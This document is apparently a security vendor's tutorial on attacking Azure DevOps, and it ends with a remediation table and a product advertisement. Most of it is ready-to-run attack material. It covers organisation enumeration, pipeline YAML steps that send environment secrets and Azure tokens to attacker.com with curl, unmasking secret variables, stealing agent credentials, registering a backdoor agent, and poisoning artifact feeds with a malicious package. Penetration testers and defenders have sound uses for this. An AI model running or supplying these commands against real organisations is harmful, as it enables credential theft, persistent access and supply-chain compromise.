Azure DevOps Security Testing: Pipeline Attacks, Credential Theft, and PAT Abuse
Azure DevOps (ADO) is Microsoft's CI/CD and project management platform used by millions of enterprise teams. Its deep integration with Azure subscriptions, service connections to cloud resources, and pipeline YAML execution model creates a rich attack surface that's frequently overlooked in security assessments.
Why Azure DevOps Is a High-Value Target
A compromised Azure DevOps organization can give an attacker:
- Service connections — pre-authenticated connections to Azure subscriptions, Kubernetes clusters, Docker registries, AWS, GCP, and external services
- Pipeline secrets — variable groups linked to Azure Key Vault, pipeline variables marked as secret, library variable groups
- Source code access — all repositories in the organization, including infrastructure code
- Build agents — self-hosted agents running on-premises or in cloud VMs with network access to internal resources
- Artifacts feeds — package feeds that can be poisoned to inject malicious code into builds
Phase 1: Reconnaissance and Enumeration
Discovering Azure DevOps Organizations
# Azure DevOps uses the format: dev.azure.com/{org}/{project}
# Find organizations via:
# 1. Certificate transparency
curl -s "https://crt.sh/?q=%.visualstudio.com&output=json" | jq '.[].name_value' | sort -u
curl -s "https://crt.sh/?q=%.dev.azure.com&output=json" | jq '.[].name_value' | sort -u
# 2. Check common org names
curl -s https://dev.azure.com/{target-company}/_apis/projects
curl -s https://{target-company}.visualstudio.com/_apis/projects
# 3. Azure AD tenant enumeration
curl -s "https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" | jq .
# List projects in an org (if authenticated)
az devops project list --org https://dev.azure.com/{org}
Authenticated Enumeration with PAT Token
# Using az CLI with PAT token
export AZURE_DEVOPS_EXT_PAT=[PAT_TOKEN]
az devops configure --defaults org=https://dev.azure.com/{org}
# List all projects
az devops project list --output table
# List repos in a project
az repos list --project {project} --output table
# List pipelines
az pipelines list --project {project} --output table
# List service connections (requires Project Administrator)
az devops service-endpoint list --project {project} --output table
# List variable groups
az pipelines variable-group list --project {project} --output table
REST API Enumeration
ORG="https://dev.azure.com/{org}"
PAT="[token]"
AUTH=$(echo -n ":$PAT" | base64)
# List projects
curl -H "Authorization: Basic $AUTH" \
"$ORG/_apis/projects?api-version=7.1"
# List repos
curl -H "Authorization: Basic $AUTH" \
"$ORG/{project}/_apis/git/repositories?api-version=7.1"
# List build definitions (pipelines)
curl -H "Authorization: Basic $AUTH" \
"$ORG/{project}/_apis/build/definitions?api-version=7.1" | \
jq '.value[] | {id, name, path}'
# List service endpoints (connections)
curl -H "Authorization: Basic $AUTH" \
"$ORG/{project}/_apis/serviceendpoint/endpoints?api-version=7.1" | \
jq '.value[] | {name, type, url: .url}'
Phase 2: Pipeline YAML Injection
Identifying Injectable Pipelines
YAML pipelines are stored in repos. If you can push to a branch or create a PR from a fork, you may be able to modify pipeline behavior:
# Look for pipelines triggered on PRs from forks (dangerous)
# Check azure-pipelines.yml for:
trigger:
- main
pr:
- main # PRs from forks trigger this pipeline
# Insecure: pipeline checkout with persist-credentials
steps:
- checkout: self
persistCredentials: true # SYSTEM_ACCESSTOKEN remains in git config
# Insecure: inline script using user-controlled input
- script: |
echo "Building $(Build.RequestedFor)" # can inject commands
git config user.email "$(Build.RequestedForEmail)"
Exploiting PR Pipeline Triggers
# If the pipeline runs on fork PRs without protection:
# 1. Fork the repository
# 2. Modify azure-pipelines.yml to exfiltrate secrets
steps:
- script: |
# Extract pipeline variables
env | base64 | curl -X POST https://attacker.com/collect -d @-
# Extract service connection tokens from environment
echo "##vso[task.setvariable variable=STOLEN;issecret=false]$SYSTEM_ACCESSTOKEN"
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
"$(System.CollectionUri)$(System.TeamProject)/_apis/serviceendpoint/endpoints?api-version=7.1"
# 3. Create PR to trigger pipeline execution
SYSTEM_ACCESSTOKEN Abuse
SYSTEM_ACCESSTOKEN is granted to every pipeline job and provides access to the ADO API with the build service identity:
# List what the build service account can access
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
"$(System.CollectionUri)_apis/connectionData" | jq .
# Read variable groups (may reveal secrets)
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
"$(System.CollectionUri)$(System.TeamProject)/_apis/distributedtask/variablegroups?api-version=7.1"
# Access other repos in the org
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
"$(System.CollectionUri)_apis/git/repositories?api-version=7.1" | \
jq '.value[] | {name, remoteUrl}'
Phase 3: Service Connection Credential Theft
Understanding Service Connections
Service connections store pre-authenticated credentials for external services. From inside a pipeline job, these credentials are injected as environment variables or files:
# In a pipeline job using an Azure service connection:
# The service principal credentials are available as environment variables:
echo $AZURE_SUBSCRIPTION_ID
echo $AZURE_CLIENT_ID
echo $AZURE_CLIENT_SECRET # or certificate path
echo $AZURE_TENANT_ID
# For Kubernetes service connections:
echo $KUBECONFIG # path to kubeconfig file with cluster credentials
# For generic connections:
echo $ENDPOINT_AUTH_PARAMETER_{CONNECTION_NAME}_PASSWORD
Stealing Service Connection Credentials via Pipeline
# Malicious pipeline step to exfiltrate Azure service connection creds
- task: AzureCLI@2
inputs:
azureSubscription: 'ProductionAzure' # use legitimate connection name
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# Exfiltrate service principal details
az account show | base64 | curl -X POST https://attacker.com/ -d @-
# Get access token for Azure Resource Manager
TOKEN=$(az account get-access-token --query accessToken -o tsv)
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2022-12-01" | \
base64 | curl -X POST https://attacker.com/arm -d @-
Variable Group Secret Extraction
# Pipeline variables marked as "secret" are masked in logs
# but are still accessible as environment variables in the job
- script: |
# Print all environment variables (secrets appear as ***)
env
# But write to file to bypass masking
env > /tmp/secrets.txt
base64 /tmp/secrets.txt | curl -X POST https://attacker.com/ -d @-
# Or use a technique to un-mask secrets:
# Print one character at a time (bypasses multi-char masking)
python3 -c "
import os
secret = os.environ.get('MY_SECRET_VAR', '')
for c in secret:
print(c, end='', flush=True)
print()
"
Phase 4: PAT Token Attacks
PAT Token Discovery
# PAT tokens follow the pattern: [base64-encoded-string]
# They're frequently exposed in:
# - .git-credentials files
# - Environment variables in CI logs
# - Docker build args
# - Source code / config files
# Regex pattern for ADO PAT detection:
# [a-z0-9]{52}
# Trufflehog ADO detector
trufflehog git https://github.com/org/repo --only-verified
# Check git credential store
cat ~/.git-credentials | grep dev.azure.com
PAT Token Scope Abuse
# Full scope PAT — test what's accessible
PAT="[token]"
ORG="https://dev.azure.com/{org}"
AUTH=$(echo -n ":$PAT" | base64)
# Check token scope by attempting high-privilege operations
# Read all projects
curl -H "Authorization: Basic $AUTH" "$ORG/_apis/projects"
# Read user entitlements (member data)
curl -H "Authorization: Basic $AUTH" \
"$ORG/_apis/memberentitlementmanagement/userentitlements?api-version=7.1"
# Access feed packages (Artifacts)
curl -H "Authorization: Basic $AUTH" \
"https://feeds.dev.azure.com/{org}/{project}/_apis/packaging/feeds?api-version=7.1"
Phase 5: Self-Hosted Agent Exploitation
Targeting Self-Hosted Agents
Self-hosted pipeline agents run on corporate infrastructure and have network access to internal resources. They're one of the highest-value targets in ADO security assessments:
# From inside a pipeline running on a self-hosted agent:
# Internal network reconnaissance
nmap -sn 10.0.0.0/8 2>/dev/null | grep "Nmap scan report"
# Enumerate internal DNS
nslookup internal-database.company.local
nslookup vault.company.internal
nslookup kubernetes.company.internal
# Access internal services not reachable from internet
curl http://internal-api.company.local/api/v1/users
curl http://kubernetes.company.local:8080/api/v1/namespaces
# Check agent configuration for stored credentials
cat ~/.azure/config
cat ~/credentials
env | grep -i "token\|secret\|password\|key\|credential"
Agent Token Theft for Persistence
# Agent registration token is stored on disk
# Find agent configuration
find / -name ".credentials" -path "*agent*" 2>/dev/null
find / -name "credentials" -path "*azure*" 2>/dev/null
# Agent credentials are in ~/.agent or the agent install directory
cat /opt/azagent/.credentials | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(data)
"
# Re-register a new agent using the organization token
./config.sh --url https://dev.azure.com/{org} \
--auth pat --token [STOLEN_ORG_TOKEN] \
--pool default --agent backdoor-agent
Phase 6: Azure Artifacts Feed Poisoning
# List accessible feeds
curl -H "Authorization: Basic $AUTH" \
"https://feeds.dev.azure.com/{org}/_apis/packaging/feeds?api-version=7.1"
# Check feed upstream sources (public package sources)
# If upstream is configured, ADO will check internal feed first, then upstream
# Dependency confusion attack: publish a higher-versioned package to the internal feed
# with the same name as an internal package → gets pulled instead of the real one
# Alternatively, if you can publish to a feed that CI/CD trusts:
# Create a malicious package version
npm pack malicious-package/
az artifacts universal publish \
--organization https://dev.azure.com/{org} \
--feed {feed-name} \
--name {package-name} \
--version 999.0.0 \
--path ./malicious-package/
Remediation
| Risk | Remediation |
|---|---|
| Fork PR pipeline injection | Enable "Comment trigger for outside collaborators" — require approval before running pipelines on fork PRs |
| SYSTEM_ACCESSTOKEN over-privilege | Limit build service permissions per project; revoke repo-level read where not needed |
| Service connection over-scope | Use connection scoped to specific resource groups, not entire subscription; enable approval gates |
| PAT with full scope | Create PATs with minimal scope; set expiry dates; audit PAT usage in ADO Security logs |
| Secrets in pipeline variables | Use Azure Key Vault variable groups with managed identity; rotate regularly |
| Self-hosted agent reuse | Clean agent between builds; use ephemeral agents; separate agent pools by trust level |
| Branch protection bypasses | Require required reviewers on main branch; use CODEOWNERS for pipeline files |
Secure Your Azure DevOps Pipeline Applications
Ironimo scans the web applications your Azure DevOps pipelines deploy — finding injection vulnerabilities, broken authentication, and exposed endpoints before attackers do. Start free scan.